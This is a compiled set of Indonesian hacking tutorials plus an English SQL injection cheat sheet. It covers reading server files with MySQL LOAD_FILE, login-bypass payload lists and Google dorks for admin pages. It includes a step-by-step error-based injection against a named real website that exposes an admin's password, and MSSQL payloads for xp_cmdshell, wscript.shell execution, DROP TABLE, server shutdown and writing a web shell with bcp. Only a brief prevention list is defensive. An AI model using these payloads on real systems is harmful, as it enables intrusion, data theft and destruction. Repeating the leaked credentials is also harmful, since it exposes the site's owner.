<<< Penggunaan LOAD_FILE() & LOAD DATA INFILE >>>

Fungsi yang kita akan gunakan adalah load_file() dan LOAD DATA
INFILE, berikut ini adalah keterangannya

- LOAD_FILE()

Dengan fungsi ini, kita dapat membaca file-file yang terdapat
pada server MySQL tersebut dan menampilkannya ke layar.

Contoh :

//--- query ----//

mysql> SELECT LOAD_FILE('/etc/passwd');
atau
mysql> SELECT LOAD_FILE('c:/boot.ini');

//--- query ----//

Maka akan menampilkan isi dari file passwd atau file boot.ini

- LOAD DATA INFILE

Dengan fungsi ini, kita dapat mengambil isi file dan menaruhnya kedalam database;

Contoh :

//--- query ----//

mysql> LOAD DATA INFILE '/etc/passwd' INTO TABLE namatable;
atau
mysql> LOAD DATA INFILE 'c:/boot.ini' INTO TABLE namatable;

//--- query ----//

Maka perintah tersebut akan mengambil isi file passwd atau file
boot.ini dan menaruhnya ke tabel namatable.


Dengan fungsi-fungsi tersebut,kemungkinan kita juga dapat mengambil
file-file database (.MYI,.frm,.MYD) dari server tersebut selama file-file
tersebut BISA DIBACA OLEH SEMUA USER.


---// Mengapa mengambil file-file tersebut ?

Sebenarnya anda bisa saja mengambil file-file yang lain, tetapi
jika user mysql anda tidak diizinkan untuk mengakses database mysql, anda
dapat menggunakan langkah-langkah ini.

Contoh :

Misal :

- Sistem operasi target adalah Windows
- Direktori MySQL ada di C:\MySQL


Langkah yang kita lakukan sebelumnya adalah mencoba untuk membuat

- Database dengan nama db_dudulz
- Tabel dengan nama tbl_dudulz yang memiliki field fl_namafile dengan tipe data varchar
dan field fl_content dengan tipe data longblob;

//--- query ----//

mysql> create database db_dudulz;
mysql> use db_dudulz;
mysql> create table tbl_dudulz (fl_namafile varchar(20),fl_content longblob);

//--- query ----//


Setelah itu kita akan mengambil isi file .MYI,.frm,.MYD dari
direktori C:\MySQL\data\mysql\, dalam hal ini kita hanya mengambil file table user
yakni file user.frm, user.MYI, user.MYD .


//--- query ----//

mysql> insert into tbl_dudulz values ('user.frm',load_file('c:\\MySQL\\data\\mysql\\user.frm'));
mysql> insert into tbl_dudulz values ('user.MYI',load_file('c:\\MySQL\\data\\mysql\\user.MYI'));
mysql> insert into tbl_dudulz values ('user.MYD',load_file('c:\\MySQL\\data\\mysql\\user.MYD'));


//--- query ----//


---// Ambil Isi File

Setelah berhasil memasukkan isi dari file-file tersebut anda dapat
mengambil isi file tersebut dari database db_dudulz tadi dan menjadikannya
file.

Ini adalah salah satu contohnya dengan PHP

//------------------- code --------------------------------//


$conn = mysql_connect("localhost","username","password");
mysql_select_db("db_dudulz");

$sql = "SELECT * FROM tbl_dudulz";
$query = mysql_query($sql,$conn);

while($row=mysql_fetch_row($query))
{
$bfile = fopen($row[0],"w");

fwrite($bfile,$row[1],strlen($row[1]));
fclose($bfile);

}
mysql_close($conn);

?>

//------------------- code --------------------------------//


Setelah anda menjalankan script php tadi, lihatlah di direktori
script itu berada. Disana akan terdapat 3 file yakni user.frm , user.MYD
dan user.MYI.

Kita juga dapat mengambil isi database ini melalui MySQL GUI atau
tool-tool sejenisnya.


---// Catatan

Sebagai catatan, hal ini MUNGKIN tidak dapat dilakukan pada
sistem operasi keluarga Unix atau GNU/LINUX karena seperti yang
saya telah sampaikan tadi, fungsi-fungsi tersebut hanya dapat membaca file yang
bisa dibaca oleh semua user. Karena sepengetahuan saya default di sistem
operasi Windows hak akses membaca pada direktori MySQL dapat dilakukan oleh
hampir semua user.

Berbeda dengan sistem operasi keluarga Unix atau GNU/Linux dan
sejenisnya yang sepengetahuan saya defaultnya memiliki hak akses seperti
berikut ini :

-rw-rw---- 1 mysql mysql 248 2006-10-31 00:10 user.MYD
-rw-rw---- 1 mysql mysql 2048 2006-10-31 00:10 user.MYI
-rw-rw---- 1 mysql mysql 10330 2006-10-30 23:58 user.frm

File - file tersebut bisa saja diakses melalui fungsi-fungsi
tersebut jika memiliki hak akses sebagai berikut :

-rw-rw-rw- 1 mysql mysql 248 2006-10-31 00:10 user.MYD
-rw-rw-rw- 1 mysql mysql 2048 2006-10-31 00:10 user.MYI
-rw-rw-rw- 1 mysql mysql 10330 2006-10-30 23:58 user.frm

---// Penutup

Selamat mencoba menggunakan MySQL sebagai hacking tools, semoga
artikel ini dapat berguna bagi kita semua.

original write:
echo ezine #16 vol 5
by az001

- PHP Manual
- echo

Lanjut Broo......

<<< How To Sql Injection? >>>

Sedikit review about SQL injection

SQL Injection adalah memasukkan kode-kode SQL untuk mendapatkan akses

ke database yang lebih besar daripada yang seharusnya kita dapatkan,

terutama pada script yang tidak memvalidasi input dari user.



SQL Injection sebenarnya sudah sering dibahas dimana-mana, tetapi

ternyata masih banyak webmaster yang belum tahu atau tidak peduli

akan kelemahan ini.



Apa saja yang diperlukan untuk melakukan SQL Injection ?

1. Internet Explorer (wajib)

2. PC yang terhubung ke Internet (wajib, kecuali Anda mau hack PC

Anda sendiri)

3. Segelas kopi untuk menghilangkan rasa kantuk (optional)

4. Metallica (optional)



OK, langsung saja kita praktekkan, supaya lebih jelas.


Pertama bukalah [link] (google pancen oye) untuk mencari script yang

terhubung ke database. Masukkan salah satu keyword di bawah ini

(lengkap dengan tanda petiknya) :

“/admin.asp”

“/login.asp”

“/logon.asp”

“/adminlogin.asp”

“/adminlogon.asp”

“/admin_login.asp”

“/admin_logon.asp”

“/admin/admin.asp”

“/admin/login.asp”

“/admin/logon.asp”

“/admin/adminlogin.asp”

“/admin/adminlogon.asp”

“/admin/admin_login.asp”

“/admin/admin_logon.asp”

“/administrator/admin.asp”

“/administrator/login.asp”

“/administrator/logon.asp”

“root/login.asp”

“admin/index.asp”



Anda bisa menambahkan daftarnya berdasarkan kreatifitas Anda sendiri.

Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda

akan menjumpai sebuah halaman login (user name dan password).



Masukkan kode-kode berikut,

User name : ` or `a’='a

Password : ` or `a’='a

(termasuk tanda petiknya)



Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana

Anda bisa menambahkan berita, mengedit user yang lain, merubah about,

dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit

card yang banyak.



Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan

oleh google. Menurut pengalaman saya, dari sekitar 20 link yang saya

coba, ada satu atau dua yang berhasil.



Banyak variasi kode yang mungkin, antara lain :

User name : admin

Password : ` or `a’='a



Di bawah ini bisa dimasukkan baik ke user name maupun password :

‘ or 0=0 –

” or 0=0 –

or 0=0 –

‘ or 0=0 #

” or 0=0 #

or 0=0 #

‘ or ‘x’='x

” or “x”=”x
‘) or (’x'=’x

‘ or 1=1–
” or 1=1–
or 1=1–

‘ or a=a–
” or “a”=”a

‘) or (’a'=’a

“) or (”a”=”a

hi” or “a”=”a

hi” or 1=1 –

hi’ or 1=1 –

hi’ or ‘a’='a

hi’) or (’a'=’a

hi”) or (”a”=”a


Anda masih bisa memperpanjang daftarnya sesuai kreatifitas Anda.



Hacking adalah seni. Hacking adalah perpaduan dari pengetahuan,

kreatifitas dan kesabaran. Jika Anda memiliki ketiga-tiganya Anda

akan berhasil.



diambil dari tutorial yang tersebar di internet



=======================================================

Hingga Maret 2006, masih saja terdapat situs web di Republik Indonesia yang dibobol dengan teknik SQL Injection. Anda tahu betapa berbahaya bug yang satu ini ? Berikut akan kita sajikan step by step SQL Injection ini yang diambil dari langsung tulisan iko (iko94@yahoo.com)



Catatan : kita akan membatasi bahasan pada SQL Injection di MS-SQL Server.



Kita akan mengambil contoh di site www.pln-wilkaltim.co.id


Ada dua kelemahan di site ini, yaitu:

1. Tabel News

2. Tabel Admin



Langkah pertama, kita tentukan lubang mana yang bisa di-inject

dengan jalan berjalan-jalan (enumeration) dulu di site tsb.

Kita akan menemukan 2 model cara input parameter, yaitu dengan
cara memasukkan lewat input box dan memasukkannya lewat

alamat URL.



Kita ambil yang termudah dulu, dengan cara input box.

Kemudian kita cari kotak login yang untuk admin.

Ketemu di www.pln-wilkaltim.co.id/sipm/admin/admin.asp

Langkah pertama untuk menentukan nama tabel dan fieldnya,

kita inject kotak NIP dengan perintah (password terserah, cabang

biarkan aja):

‘ having 1=1–

jangan lupa untuk menuliskan tanda kutip tunggal dan tanda

minus dobel (penting).

Arti kedua tanda tsb bisa anda cari di tutorial SQL Injection

Kemudian akan keluar pesan error:

——————–

Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Column
‘T_ADMIN.NOMOR’ is invalid in the select list because

it is not contained in an aggregate function and

there is no GROUP BY clause.

/sipm/admin/dologin.asp, line 7

——————–

Keluarlah nama field pertama kita !!!

Catat nama tabel : T_ADMIN
Catat nama field : NOMOR



Kemudian kita akan mencari nama field-field berikutnya,

beserta nama tabel yang mungkin berbeda-beda.

Kita inject di kotak NIP (password terserah):

‘ group by T_ADMIN.NOMOR having 1=1–
Akan keluar pesan error:

——————–

Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Column

‘T_ADMIN.NIP’ is invalid in the select list because

it is not contained in either an aggregate

function or the GROUP BY clause.

/sipm/admin/dologin.asp, line 7

——————–

Artinya itulah nama tabel dan field kedua kita.

Catat : T_ADMIN.NIP



Kemudian kita cari field ke tiga :

‘ group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1–

Akan keluar pesan error:

——————–

Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Column

‘T_ADMIN.PASSWORD’ is invalid in the select list because

it is not contained in either an aggregate

function or the GROUP BY clause.

/sipm/admin/dologin.asp, line 7

——————–

Catat field ke tiga : T_ADMIN.PASSWORD


Lakukan langkah di atas sampai kita menemukan field terakhir.



Berikut adalah pesan error yang terjadi, jika kita mengecek

field terakhir dengan meng-inject:

‘ group by T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD,

T_ADMIN.NAMA,T_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ ADMIN.EMAIL

having 1=1–

(catatan : kalimat harus 1 baris, tidak dipotong)

——————–

- NIP atau Password atau Unit Anda salah !! -

——————–
Sukses !!! Kita berhasil menemukan field terakhir.

Daftar kolom (field):

T_ADMIN.NOMOR

T_ADMIN.NIP

T_ADMIN.PASSWORD

T_ADMIN.NAMA

T_ADMIN.KD_RANTING

T_ADMIN.ADDRESS

T_ADMIN.EMAIL

Hanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN),

ini akan mempermudah proses kita selanjutnya.



Langkah berikutnya, kita menentukan jenis struktur field-

field tersebut di atas.



Kita inject di kotak NIP (pass terserah) :

‘ union select sum(NOMOR) from T_ADMIN–

Arti dari query tersebut adalah : kita coba menerapkan

klausa sum sebelum menentukan apakah jumlah kolom-kolom

di dua rowsets adalah sejenis.

Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah)

yang berlaku untuk type kolom numerik, jadi untuk type kolom

yang bukan numerik, akan keluar error yang bisa memberitahu

kita jenis kolom yang dimaksud.

Pesan error :

——————–

Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries

in an SQL statement containing a UNION operator must have

an equal number of expressions in their target lists.

/sipm/admin/dologin.asp, line 7

——————–

artinya kolom NOMOR berjenis numerik.



Berikutnya kita inject :

‘ union select sum(NIP) from T_ADMIN–

Akan keluar pesan error :

——————–

Microsoft OLE DB Provider for ODBC Drivers (0×80040E07)

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum

or average aggregate operation cannot take a char data

type as an argument.

/sipm/admin/dologin.asp, line 7

——————–

Artinya kolom NIP bertype char.



Kita harus mengulang perintah di atas untuk kolom yang

berikutnya dengan jalan mengganti nama_kolom di :

‘ union select sum(nama_kolom) from T_ADMIN–

dengan kolom yang berikutnya.

Kita peroleh 7 type kolom:

T_ADMIN.NOMOR => numeric

T_ADMIN.NIP => char

T_ADMIN.PASSWORD => nvarchar

T_ADMIN.NAMA => char

T_ADMIN.KD_RANTING => char

T_ADMIN.ADDRESS => nvarchar

T_ADMIN.EMAIL => char



Langkah berikutnya, kita akan mencari isi kolom password,

untuk user admin, dengan meng-inject :

‘ union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > ‘a’–

artinya kita memilih minimum nama user yang lebih besar dari ‘a’

dan mencoba meng-konvert-nya ke tipe integer.

Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilih
kolom NAMA, dan mengabaikan 6 kolom yang lain.>Akan keluar pesan error :

——————–

Microsoft OLE DB Provider for ODBC Drivers (0×80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax

error converting the varchar value ‘bill ‘ to

a column of data type int.

/sipm/admin/dologin.asp, line 7

——————–

Anda lihat :

varchar value ‘bill ‘

‘bill’ itu adalah nama user di record yang terakhir dimasukkan,

atau isi kolom NAMA di record yang terakhir dimasukkan.



Selanjutnya kita inject :

‘ union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where

NAMA = ‘bill’–

catatan : harus sebaris (tidak dipotong).

Akan keluar error :

———————

Microsoft OLE DB Provider for ODBC Drivers (0×80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the nvarchar value ‘m@mpusk@u’ to a

column of data type int.

/sipm/admin/dologin.asp, line 7

———————

Artinya kita berhasil !!!

Kita dapatkan
[+] NAMA = bill

[+] PASSWORD = m@mpusk@u


Silahkan login ke :

www.pln-wilkaltim.co.id/sipm/admin/admin.asp

dengan account di atas, sedang nama cabang, silahkan anda

isi sendiri dengan cara coba-coba


Atau kita pakai jalan pintas saja….



Kita inject-kan :

‘ union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN

where NAMA =’bill’–

catatan : harus satu baris.

Duarrrrrr……….

Glhodhak………….

Langsung masuk ke menu admin.

Ingat : jangan buat kerusakan ! beritahu sang admin !!!



Lubang ke dua adalah pada bagian berita.

Pada dasarnya berita di situ adalah isi dari tabel yang

lain lagi. Jadi tetep bisa kita inject !!!

Bedanya, kita harus memasukkan parameter di alamat URL-nya.

Contoh :

http://www.pln-wilkaltim.co.id/dari_…&idm=40&idSM=2

ada parameter id dan idSM.

Setelah kita coba inject, ternyata yang berpengaruh adalah

parameter id aja (CMIIW).



Kita inject-kan :

www.pln-wilkaltim.co.id/dari_Media.asp?id=2119′ having 1=1–

akan keluar pesan error :

—————————

Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Column

‘tb_news.NewsId’ is invalid in the select list because

it is not contained in an aggregate function and

there is no GROUP BY clause.

/dari_Media.asp, line 58

—————————

artinya ‘tb_news.NewsId’ itulah nama tabel dan kolom kita

yang pertama.



Ulangi langkah-langkah kita di atas sampai didapatkan :

tb_news.NewsId => numeric

tb_news.NewsCatId => numeric

tb_news.EntryDate => datetime

tb_news.Title => nvarchar

tb_news.Content =>

tb_news.FotoLink =>

tb_news.FotoType => bit data

tb_news.review =>
tb_news.sumber => char

tb_news.dateagenda => datetime



Nah, selanjutnya adalah tugas anda sendiri untuk mengembangkan

pengetahuan anda.

Anda bisa men-insert berita yang bisa anda tentukan sendiri

isinya.



Inilah mengapa hole di MS-SQL Server ini demikian berbahaya.



Perkiraan saya, nama-nama partai di situs KPU yang di-hack

oleh Shizoprenic, juga ada di tabel-tabel suatu database,

jadi tetep bisa dimasuki dengan cara SQL Injection ini.



******************************************************

KHUSUS BUAT ADMIN & WEB PROGRAMMER !!!

******************************************************

Cara pencegahan yang umum digunakan :

1. Batasi panjang input box (jika memungkinkan), dengan

cara membatasinya di kode program, jadi si cracker pemula

akan bingung sejenak melihat input box nya gak bisa di

inject dengan perintah yang panjang.

2. Filter input yang dimasukkan oleh user, terutama penggunaan

tanda kutip tunggal (Input Validation).

3. Matikan atau sembunyikan pesan-pesan error yang keluar
dari SQL Server yang berjalan.

4. Matikan fasilitas-fasilitas standar seperti Stored Procedures,

Extended Stored Procedures jika memungkinkan.

5. Ubah “Startup and run SQL Server” menggunakan low privilege user

di SQL Server Security tab.



============================================

nb :


aku ambil ini dari virologi.info

dan ricisan.wordpress.com

Lanjut Broo......

<<< Sql Injection Cheat Sheet >>>

sql-injection cheat sheet.....


About Sql Injection Chaet sheet

Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences.

Samples are provided to allow reader to get basic idea of a potential attack and almost every section includes a brief information about itself.

M : MySQL
S : SQL Server
P : PostgreSQL
O : Oracle
+ : Possibly all other databases

Examples;



* (MS) means : MySQL and SQL Server etc.

* (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server



=========================================================================================



Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks



Ending / Commenting Out / Line Comments

Line Comments



Comments out rest of the query.

Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.



* -- (SM)

DROP sampletable;--



* # (M)


DROP sampletable;#



Line Comments Sample SQL Injection Attacks



* Username: admin'--

* SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'

This is going to log you as admin user, because rest of the SQL query will be ignored.



Inline Comments



Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.



* /*Comment Here*/ (SM)

o DROP/*comment*/sampletable

o DR/**/OP/*bypass blacklisting*/sampletable

o SELECT/*avoid-spaces*/password/**/FROM/**/Members



* /*! MYSQL Special SQL */ (M)

This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.

SELECT /*!32302 1/0, */ 1 FROM tablename



Classical Inline Comment SQL Injection Attack Samples



* ID: 10; DROP TABLE members /*

Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --


* SELECT /*!32302 1/0, */ 1 FROM tablename

Will throw an divison by 0 error if MySQL version is higher than 3.23.02



MySQL Version Detection Sample Attacks


* ID: /*!32302 10*/

* ID: 10

You will get the same response if MySQL version is higher than 3.23.02



* SELECT /*!32302 1/0, */ 1 FROM tablename

Will throw an divison by 0 error if MySQL version is higher than 3.23.02



Stacking Queries



Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.



* ; (S)

SELECT * FROM members; DROP members--



Ends a query and starts a new one.



About MySQL and PHP;

To clarify some issues;

PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?

Stacked SQL Injection Attack Samples



* ID: 10;DROP members --

* SELECT * FROM products WHERE id = 10; DROP members--



This will run DROP members SQL sentence after normal SQL Query.

If Statements



Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.

MySQL If Statement



* IF(condition,true-part,false-part) (M)

SELECT IF(1=1,'true','false')



SQL Server If Statement



* IF condition true-part ELSE false-part (S)

IF (1=1) SELECT 'true' ELSE SELECT 'false'



If Statement SQL Injection Attack Samples



if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)

This will throw an divide by zero error if current logged user is not "sa" or "dbo".
Using Integers



Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.



* 0xHEXNUMBER (SM)

You can write hex like these;


SELECT CHAR(0x66) (S)

SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)

SELECT 0x50 + 0x45 (this is integer now!) (M)



String Operations



String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.

String Concatenation



* + (S)

SELECT login + '-' + password FROM members



* || (*MO)

SELECT login || '-' || password FROM members

*About MySQL "||";
If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. Better way to do it is using CONCAT() function in MySQL.

* CONCAT(str1, str2, str3, ...) (M)
Concatenate supplied strings.
SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

* 0x457578 (M) - Hex Representation of string
SELECT 0x457578
This will be selected as string in MySQL.

In MySQL easy way to generate hex representations of strings use this;
SELECT CONCAT('0x',HEX('c:\\boot.ini'))

* Using CONCAT() in MySQL
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
This will return ‘KLM’.

* SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
This will return ‘KLM’.

Hex based SQL Injection Samples

* SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
This will show the content of c:\boot.ini

String Modification & Related

* ASCII() (SMP)
Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.

SELECT ASCII('a')

* CHAR() (SM)
Convert an integer of ASCII.

SELECT CHAR(64)

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.

Another Example :
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

* SQL Server (S)
Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.

SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members

* MySQL (M)
Hex() for every possible issue

Bypassing Login Screens (SMO+)
SQL Injection 101, Login tricks

* admin' --
* admin' #
* admin'/*
* ' or 1=1--
* ' or 1=1#
* ' or 1=1/*
* ') or '1'='1--
* ') or ('1'='1--
* ....

* Login as different user (SM*)
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

*Old versions of MySQL doesn't support union queries
Bypassing second MD5 hash check login screens

If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.
Bypassing MD5 Hash Check Example (MSP)

Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

Error Based - Find Columns Names
Finding Column Names with HAVING BY - Error Based (S)

In the same order,

* ' HAVING 1=1 --
* ' GROUP BY table.columnfromerror1 HAVING 1=1 --
* ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
* ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on
* If you are not getting any more error then it's done.

Finding how many columns in SELECT query by ORDER BY (MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

* ORDER BY 1--
* ORDER BY 2--
* ORDER BY N-- so on
* Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.
Hints,

* Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
* To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
* Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
o Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Finding Column Type

* ' union select sum(columntofind) from users-- (S)
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.

If you are not getting error it means column is numeric.

* Also you can use CAST() or CONVERT()
o SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--

* 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
No Error - Syntax is right. MS SQL Server Used. Proceeding.

* 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
No Error – First column is an integer.

* 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
Error! – Second column is not an integer.

* 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
No Error – Second column is a string.

* 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
Error! – Third column is not an integer. ...

Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not allowed.

You’ll get convert() errors before union target errors ! So start with convert() then union
Simple Insert (MSO+)
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions.

INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)
Bulk Insert (S)

Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

1. Create table foo( line varchar(8000) )
2. bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
3. Drop temp table, and repeat for another file.

BCP (S)

Write text file. Login Credentials are required to use this function.
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.

declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
Executing system commands, xp_cmdshell (S)

Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

Simple ping check (configure your firewall or sniffer to identify request before launch it),

EXEC master.dbo.xp_cmdshell 'ping '

You can not read results directly from error or union or something else.
Some Special Tables in SQL Server (S)

* Error Messages
master..sysmessages

* Linked Servers
master..sysservers

* Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
SQL Server 2000: masters..sysxlogins
SQL Server 2005 : sys.sql_logins

More Stored Procedures for SQL Server (S)

1. Cmd Execute (xp_cmdshell)
exec master..xp_cmdshell 'dir'

2. Registry Stuff (xp_regread)
1. xp_regaddmultistring
2. xp_regdeletekey
3. xp_regdeletevalue
4. xp_regenumkeys
5. xp_regenumvalues
6. xp_regread
7. xp_regremovemultistring
8. xp_regwrite
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'

3. Managing Services (xp_servicecontrol)
4. Medias (xp_availablemedia)
5. ODBC Resources (xp_enumdsn)
6. Login mode (xp_loginconfig)
7. Creating Cab Files (xp_makecab)
8. Domain Enumeration (xp_ntsec_enumdomains)
9. Process Killing (need PID) (xp_terminate_process)
10. Add new procedure (virtually you can execute whatever you want)
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
exec xp_webserver
11. Write text file to a UNC or an internal path (sp_makewebtask)

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

You can not use sub selects in SQL Server Insert queries.
SQL Injection in LIMIT (M) or ORDER (MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;

If injection is in second limit you can comment it out or use in your union injection
Shutdown SQL Server (S)

When you really pissed off, ';shutdown --
Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.

EXEC sp_configure 'show advanced options',1
RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
Finding Database Structure in SQL Server (S)
Getting User defined Tables

SELECT name FROM sysobjects WHERE xtype = 'U'
Getting Column Names

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')
Moving records (S)

* Modify WHERE and use NOT IN or NOT EXIST,
... WHERE users NOT IN ('First User', 'Second User')
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one

* Using Dirty Tricks
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int

Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21


Fast way to extract data from Error Based SQL Injections in SQL Server (S)

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

